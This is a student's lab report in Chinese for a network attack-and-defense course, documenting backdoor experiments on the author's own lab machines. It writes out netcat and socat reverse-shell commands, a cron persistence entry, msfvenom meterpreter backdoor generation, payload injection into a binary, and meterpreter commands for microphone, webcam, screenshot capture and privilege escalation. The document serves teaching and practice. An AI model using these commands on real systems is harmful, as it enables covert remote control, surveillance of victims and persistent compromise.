20222401 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

_兰草一枚發表於2024-10-21

1 實驗內容

1.1 實踐基本知識

1.1.1 後門

後門就是不經過正常認證流程而訪問系統的通道。最早的後門並不是惡意的,而是開發人員為了便於在開發期間除錯程式而設定的快捷路徑。按照存在位置進行分類,可以分為以下4類:

  • 編譯器後門
  • 作業系統後門
  • 應用程式後門
  • 偽裝成正常程式的後門

1.1.2 後門技術型別

  • 管控功能實現技術
  • 自啟動技術
  • 程序隱藏技術
  • 資料穿透與躲避技術

1.1.3 後門攻擊的技術流程

  • 編寫好後門程式
  • 入侵到目標主機
  • 利用免殺技術活下來
  • 然後執行操作達成目的

1.2 實踐目標

  1. 使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定),cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
  2. 使用socat獲取主機操作Shell, 任務計劃啟動
  3. 使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
  4. 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
  5. 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

1.3 實驗要求

1.3.1 掌握後門原理及免殺技術

1.3.2 回答問題

Q:例舉你能想到的一個後門進入到你係統中的可能方式?
A:首先有可能從編譯器進入,我的電腦上有GCC編譯器,而且下載的渠道也不是官方渠道。其次還有可能偽裝成正常軟體進入到系統。
Q:例舉你知道的後門如何啟動起來(win及linux)的方式?
A:在Windows系統下,有基於Windows啟動目錄的自啟動,基於登錄檔的自啟動,基於服務程式的自啟動,基於ActiveX控制元件的自啟動,基於計劃任務的自啟動。
在Linux系統下,有Cron(是Linux下的定時任務,可以設定定時執行)。
Q:Meterpreter有哪些給你映像深刻的功能?
A:讓我印象最深的功能是遠端控制,能夠僅僅透過幾行命令就能完成對遠端主機的控制。
Q:如何發現自己有系統有沒有被安裝後門?
A:最簡單的方式就是安裝專業查殺軟體,並且嚴格限制各類應用的許可權。此外,也可以透過檢查系統程序,登錄檔或者啟動項來判斷是否存在後門。在一些特殊情況下,可以檢視系統日誌,來檢視是否存在異常行為。

2 實驗過程

2.1 使用netcat獲取主機操作Shell,cron啟動某項任務

2.1.1 建立連線

首先,我們要確定Windows(以下簡稱Win主機)系統以及Linux(以下簡稱kali主機)的IP,這裡需要注意,當主機連線的網路發生變化時,兩臺主機的IP一般都會變化,所以要注意修改,否則無法正常連線。
使用如下命令獲取主機IP

ipconfig	//Windows命令
ifconfig	//Linux命令

image

image

然後,在Windows的shell介面輸入如下命令

ncat.exe -l -p 2401 	//這裡的埠號選擇的是學號,要避開常用埠號

在kali的shell介面輸入如下命令

nc 192.168.1.106 2401 -e /bin/sh	//建立反彈式連線(IP是Windows的)

然後輸入ls就可以看到若干輸出(這裡的輸出可多可少,而且也不一定一樣,我做了兩次,輸出的內容也不盡相同)。

image

只要能夠說明這些檔案是來自kali的檔案系統,就表明兩臺主機已經建立連線。

2.1.2 設定定時任務

接下來設定定時任務,在kali中輸入下列命令

crontab -e

在文字編輯介面加入如下語句

20 * * * * /bin/netcat 192.168.1.106 2401 -e /bin/sh

然後輸入下列命令檢視一下時程表

crontab -l

會發現我們剛才加入的語句被輸出出來了

image

我這裡是做過一遍之後又做了一遍,所以輸出結果不一樣。

此時在/var/spool/cron/crontabs路徑下可以看到root檔案

image

然後Windows重新連線,輸入whoami保證路徑是root,然後輸入如下命令

echo "* * * * * echo "20222401" > /home/kali/20222401.txt" > /var/spool/cron/crontabs/root

image

這裡就已經覆蓋成功了。

image

在kali的檔案系統的相應路徑中能看到剛才生成的檔案。

2.2 使用socat獲取主機操作Shell, 任務計劃啟動

2.1.1 編寫啟動程式

點選檢視程式碼
#include <stdlib.h>
#include <stdio.h>
int main()
{
    const char *url = "https://wiki.pvz1.com/doku.php?id=%E6%94%BB%E7%95%A5:%E6%A4%8D%E7%89%A9%E5%A4%A7%E6%88%98%E5%83%B5%E5%B0%B8";
#ifdef _WIN32
    const char *command = "start \"\" \"%s\"";
#else
    const char *command = "xdg-open %s";
#endif
    char command_buffer[256];
    snprintf(command_buffer, sizeof(command_buffer), command, url);
    printf("Executing command: %s\n", command_buffer);
    int result = system(command_buffer);
    if (result == -1)
    {
        perror("system");
        return 1;
    }
    return 0;
}

這裡的程式是要開啟PVZ Wiki(一個國內的植物大戰殭屍論壇網站),如下圖
image

然後編譯得到exe檔案,這個就是待會我們要設定定時執行的檔案。

在Windows的shell介面輸入以下命令

socat.exe tcp-listen:2401 exec:cmd.exe,pty,stderr

在kali的shell介面中輸入以下命令

socat - tcp:192.168.1.106:2401

輸入chcp 65001解決亂碼問題。

然後輸入如下命令,建立定時計劃

schtasks /create /sc minute /mo 1 /tn "20222401" /tr C:\Users\33207\Desktop\PVZ_Wiki.exe

image

然後就可以享受網頁刷屏的快感了image

2.3 使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell

在kali主機的shell中輸入以下命令,生成後門檔案

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -f exe > 20222401_backdoor.exe

在Windows主機的shell中輸入以下命令

ncat.exe -l 2401 > 20222401_backdoor.exe

在kali中輸入如下命令

nc 192.168.30.82 2401 < 20222401_backdoor.exe

然後我們就能發現後門檔案也已經生成好了
image

然後在kali中輸入以下命令,進行相關配置

msfconsole	//進入控制檯
use exploit/multi/handler	//配置監聽模組
set payload windows/meterpreter/reverse_tcp	//使用和生成後門程式時相同的payload
set LHOST 192.168.50.244	//使用kali的IP,需要和之前生成後門程式時設定的IP相同
set LPORT 2401	//設定埠,需要和之前生成後門程式時設定的埠相同

接下來開啟後門檔案,輸入以下命令(Windows介面)

20222401_backdoor.exe

接下來在kali中輸入exploit命令,然後輸入ls
image

至此,後門安裝成功。

2.4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權

在kali輸入如下命令

record_mic	//獲取音訊
screenshot	//獲取截圖
webcam_snap	//獲取拍照

繼續輸入命令

getuid	//檢視當前使用者
getsystem	//提權指令

image

image

image

2.5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

在kali的shell介面中輸入以下命令

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -x /home/kali/桌面/pwn -f elf > pwn20222401
chmod a+x pwn20222401
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.50.244
set LPORT 2401
exploit

然後再開一個終端,然後執行pwn20222401

image

至此,成功實現遠端控制shell。

3 問題及解決方案

  • 問題1:漢字亂碼解決
  • 問題1解決方案:chcp 65001,由於中文版Windows含有漢字,所以需要輸入這行命令,來保證特殊編碼能夠正常顯示。
  • 問題2:注入失敗(最後一步連線不上)
  • 問題2解決方案:需要重新下載回實驗一的檔案,然後找對路徑(我第一遍做的時候路徑寫錯了一個字母,導致反覆注入不成功),就能正常顯示。

4 學習感悟、思考等

這一次實驗主要掌握的是後門的相關攻擊操作。在實驗中,我學習使用netcat獲取主機操作Shell,cron啟動某項任務,使用MSF meterpreter生成可執行檔案,使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權以及使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
這次實驗也讓我的安全意識也有了提升,以後下載軟體都要儘可能選擇來源可靠的路徑,並且來歷不明的檔案不要點選。

參考資料

  • 《附件列表》
  • 《後門免殺工具-Backdoor-factory》

相關文章